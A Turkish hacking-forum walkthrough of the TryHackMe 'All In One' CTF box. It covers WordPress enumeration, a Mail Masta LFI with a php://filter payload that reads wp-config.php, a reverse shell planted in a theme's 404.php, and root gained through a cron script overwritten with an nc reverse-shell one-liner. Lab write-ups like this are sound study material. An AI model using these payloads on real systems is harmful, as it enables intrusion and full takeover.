All In One Write Up || Try Hack Me

The Serum

Katılımcı Üye
13 Ocak 2018
365
154
/etc/shadow
Herkese merhaba değerli Türk Hack Team ailesi. Bu gün sizlerle THM'deki başlangıç seviyesi bir makinenin çözümünü göstereceğim.
Her zaman olduğu gibi bu yazımda da makinayı 3 aşamada çözeceğiz. Lafı daha fazla uzatmadan konuya geçelim. İyi okumalar


CTF Link


Seviye: Kolay


1. Reconnaissance(Bilgi Toplama)


Her zaman olduğu gibi işe nmap aracımız ile başlıyoruz.

Kod:
nmap -A -T4 -v İP
Not: Eğer bu şekilde nmap taraması yaptığımızda, nmap sonuç vermiyorsa şu adımları izleyiniz.

1) /etc/hosts dosyasını herhangi bir text editörü ile açın
2) Daha sonra baş kısma "İP (Boşluk) İsim" şeklinde giriniz.
3) Kaydedip Çıkın.
4) Son olarak nmap taramasını tekrardan başlatın ama bu sefer ip yerine hostsun içine yazdığınız ismi kullanın.

lut6yw.png


Gördüğünüz gibi 3 tane portumuz açık. SSH'a bağlanmak için kullanıcı adı ve şifreye sahip olmalıyız ama bizde her ikiside olmadığı için şimdilik onu en geri plana atıyoruz. Ve 21.portta gözümüze çarpan bir şey var. FTP portuna anon giriş yapabiliyormuşuz. Hemen bizi nerelerin karşılayacağını görmek için ftpye bağlanıyoruz.

Kod:
ftp İP
42oj0c.png


FTP portuna başarıyla bağlandık. Şimdide bakalım içinde neler var.

ay1yg2.png


Bakıyoruz ki içerisinde hiçbir şey yok. Burdan şunu çıkarabiliriz. Tamamen şaşırtmak için açılmış bir ftp portu bu. Ozaman hiç hız kesmeden yolumuza devam edip 80.portta açık olan web sitesine.

oou5e5.png


İlk açtığımızda default bir Apache sayfasını görüyoruz. Burada normalde sayfanın kaynak kodlarınada bakabiliriz. Fakat şuan konu uzamasın diye es geçiyorum. Ben baktım ve kaynak kodda herhangi bir ipucu göremedim. Ozaman hemen gidip dizin bulma aracını kullanıp bakalım web sitesinde nereden ilerleyeceğimizi keşfedelim.

Kod:
gobuster dir -u http://İP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
j6am4b.png


Gördüğünüz gibi 2 tane dizin buldu. Hemen ilk dizine gidelim bakalım neler karşılıyacak bizi.

4x2xgi.png


Bizi bir wordpress sayfası karşılıyor. Hemen aklımıza wpscan toolu ile taratmak geliyor. Bilgi toplama aşamasına halen devam ediyoruz.

Kod:
wpscan --url http://İP -e u
Not: Burada -e parametresi enumerate anlamına gelir. Tam karşılığı numaralandırma olsada bizler bilgi toplama olarak kullanıyoruz. daha sonrada u yazıyoruz ki bize wordpress sitedeki yetkililerin kullanıcı adlarını bulsun.

hvh0y0.png


Elimizde şuan bir username var fakat hala bir şifreye sahip değiliz. Şuan tıkanmış gibi görünüyoruz. Hemen aklımıza dizin aracımızın bize bulduğu ikinci dizine gitmek geliyor.

mtlbcj.png


Burada bir yazı karşılıyor. Türkçe çeviriside şu şekilde:

Kahretsin sirke kokusundan ne kadar nefret ediyorum

Hala bir sonuç elde edemedik sayfanın kaynak kodlarıda boş. Şimdide wordpress siteye geri dönüp bir de sitede plugin veya version açığı var mı onu kontrol edelim.

Kod:
wpscan --url http://İP
14g9qb.png


Bulduğumuz 2 tane plugin üzerinden gitmek zorundayız. Temada açık yok versiondan kaynaklı zafiyet yok. Ee tıkandık başka nerden gidebiliriz. Şimdide diğer işe yarar bir uygulama olan searchsploiti kullanıcaz. Bu toolu bilmeyenler için küçük bir açıklama geçeyim. Bu tool Exploit-DB sitesinin linux distiroları için ürettiği bir tool. Siteye gidip uzun uzun arama araştırma yapmak yerine olası bütün sonuçları kolayca terminalde önünüze seriyor. Kullanımı şu şekilde:
Kod:
searchsploit exploit_adi
Şimdide ilk pluginden başlayarak exploit araştırmasına girişiyoruz.

Kod:
searchsploit mail masta
su0zsy.png


İkitane açıktan bahsediyor. İşimize yarayacak birer açık olabilirler. Hemen gidip exploit araştırmasına bakıyoruz.


Kod:
https://www.exploit-db.com/exploits/40290

İlk başta olmasından ötürü ilk olarak LFİ zafiyetinden gitmek istiyorum. Yukarıdaki linkten açıklamayı okuduğumuzda karşımıza büyük bir ipucu çıkıyor. Hemen gerçektende bizim sitemizde bu var mı diye kontrol etmeye gidiyorum.

Kod:
/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Vee gereçktenden sistemde LFİ zafiyeti varmış. Sistemdeki /etc/passwd dosyasını okuyabiliyoruz. Biz bu dosyayı okuyabiliyorsak wordpressin config dosyasınıda okuyup içine girebiliriz.


Kod:
http://İP/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=pHp://FilTer/convert.base64-encode/resource=../../../../../wp-config.php

Burada kafanız karışmış olabilir. Çünkü /etc/password dosyasını normal çekerken wp-config.php dosyasını eklemeli çekti. Burada da bir tür waff bizi engelliyor gibi düşünebiliriz. Bizde istediğimiz dosyayı base64 ile encode edip çağırıyoruz. Yani bir nevi sistemi kandırıyoruz.

Peki bu eklediğimiz şeyi ezberlicez mi ? Gerek yok dostlarım aşağıda bir site bırakıcam. Bu sitede hem CTF lerde hemde Günlük hack faliyetlerinde kullanabilirsiniz. İçinde çok güzel bilgiler var. Ben genelde CTF lerde takıldığım yer olursa bu kaynaktan yardım alıyorum.


Bu e-bookta sol kısımda başlıklar var. Ayrıyetten bir şey aratmak istiyorsak bunuda sol üstte büyüteçten yapabilirsiniz. Bizim işimiz şuan "File Inclusion" olduğundan arama kısmına bunu girip ihtiyacım olan wrappers başlığına geliyorum.

E-book Link: Tıkla

56oayd.png


Buradaki 3 seçenekten istediğinizi ve duruma göre kabul edileni kullanabilirsiniz. Ben 3. olanı kullandım.

Şimdide CTF'imize geri dönelim. En son wp-config.php dosyasını okumayı başarmıştık fakat base64 ile encode edilmiş halini okuyabilmiştik. Şimdide bu dosyayı decode edip içinde işimize yarayabilecek bakalım hangi bilgiler varmış

X42sW.png


İstediğiniz herhangi bir base64 decode sitesini kullanabilirsiniz. Bu konuda şuradan yapın tarzı bir cümle kurmuyorum. Aldığımız sonuçlarda bir kullanıcı adı ve şifreye ulaştık. Kullanıcı adı elyana. Hatırlarsanız wordpress sitede bilgi toplarken bir kullanıcı adı bulmuştuk. Kullanıcı adları uyuşuyor ama şifre omu belli değil. Hemen denemeye koyuluyorum.

2. Sisteme Giriş(Reverse Shell)

Wordpress sitelerde default olarak gelen login paneline giriş yapalım. (wp-login.php)


X405g.png



X4meP.png


Ve gördüğünüz gibi sisteme giriş başarılı. Şimdide sisteme bir reverse shell yükleyip kendime backdoor oluşturuyorum. Bunun için de sol bölümdeki menülerden tema menüsünün en altında yer alan tema editörüne giriyorum. CTF'e bağlı olduğu için zarar vermek gibi bir sıkıntımız yok. Biz bu CTF'i kapattığımızda sistemde sıfırlanacak o yüzden karşımıza çıkan herhangi bir sayfada rahatlıkla işlem yapabiliriz.

Sağ taraftaki bölümlerden 404.php sayfasını seçip, önceki CTF'lerde kullandığım reverse shelli kopyalıyorum.



XQ48Z.png


Burada kopyaladıktan sonra ip yerine şuan bağlı olduğumuz ipyi yazmaamız gerekir. Aksi taktirde Backdooru oluşturamayabilriz.

Kopyaladıktan sonra sol aşağıdaki "upload file" tuşuna tıklayıp kaydediyorum. Daha sonra terminale gidip nc ile seçtiğimiz portu dinlemeye alıyoruz.


Kod:
nc -nvlp 1234
X4L2F.png


Dinlemeye aldıktan sonra shellimizi yüklediğimiz dizine gidip shellimizi aktif bir hale getiriyoruz. Daha sonra zaten nc bir bağlantı yakalayacaktır.

Kod:
http://10.10.174.71/wordpress/wp-content/themes/twentytwenty/404.php
XQQqo.png


Ve gördüğünüz gibi sisteme giriş başarılı. Şimdi kendimize önce python ile bir interactive bir shell alalım. Daha sonrada terminalimizin yapısını değiştirip bazı komutları aktif hale getirelim.

Kod:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
XQ9Gt.png


Gördüğünüz gibi elyana klasörünün içindeki user.txt yi okumamıza yetkimiz yetmiyor ama bir ipucu verilmiş. Bizim burada elyana kullanıcısının şifresini bulmamızı istiyor.

Kod:
find / -user elyana -type f 2>/dev/null
Bu komut sayesinde elyana kullanıcısının oluşturduğu bizim açabileceğimiz dosyaları görüntülüyoruz.

XQZaJ.png


Çıkan sonuçlarda private.txt adında bir dosya var. İçine baktığımızda elyana kullanıcısının şifresi olduğunu görüyoruz. Hemen su komutu ile elyana kullanıcısı olmaya çalışıyoruz.

XQT7Q.png


Ve gördüğünüz gibi dostlar elyana kullanıcısı olabildik. Artık user.txtyi okuyabilir ve yetkimizi yükselte biliriz.


Kod:
cat /home/elyana/user.txt
XQXjF.png



3. Yetki Yükseltme

Sistemde yetki yükseltmek için crontablerden yaralanacağız. Aktif cron işlemlerine bakmak için şu komutu girelim.

Kod:
cat /etc/crontab
XQcHE.png


root kullanıcısına ait bir tane cron işlemi var. Ve bizde bu işlem yardımıyla root olabiliriz. Öncelikle bu dosyanın ne görevde kullanıldığını anlamak için içini okumalıyız.

XQDe2.png


Sadece test için oluşturulmuş bir işlemmiş. Ve bizde bunu kendi yetkimizi yükseltmek için kullanabiliriz.



XQg5A.png




Kod:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f" > /var/backups/script.sh


Hemen bu dosyanın içine yetkimizi yükselticek bir kod ekleyip yazılıp yazılmadığını kontrol ediyoruz. Daha sonra kendi bilgisyarımızda bir bir portu daha dinlemeye alıyoruz. Burada idkkat etmemiz gereken nokta cron işlemindeki dosyaya yazdığımız portun sisteme girerken kullandığı porttan farklı olması ben 4444 kullanmayı tercih ettim. Daha sonra 1 dakika kadar beklememiz lazım ki cron işlemlerini gerçekleştirip istediğimiz komutu çalıştırsın.

Kod:
nc -nvlp 4444
XQJKo.png


Ve gördüğünüz gibi root olmayı başardık. Artık root.txt yi okuyabiliriz.

XQs3Z.png


Ve gördüğünüz gibi dostlar bir CTF'i daha geride bıraktık. Okuduğunuz için teşekkürler iyi forumlar.
 

KΛRΛ

Uzman üye
26 Mar 2018
1,233
202
Emeğinize sağlık çok güzel bir konu olmuş, başarılar dilerim :)
 

AXPA

Kıdemli Üye
13 Ocak 2018
2,340
152
New World
Merhaba,

Üzerinde iyi çalışılmış bir konu. Anlatım olarak da gayet net ve samimi.

Tebrikler...
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.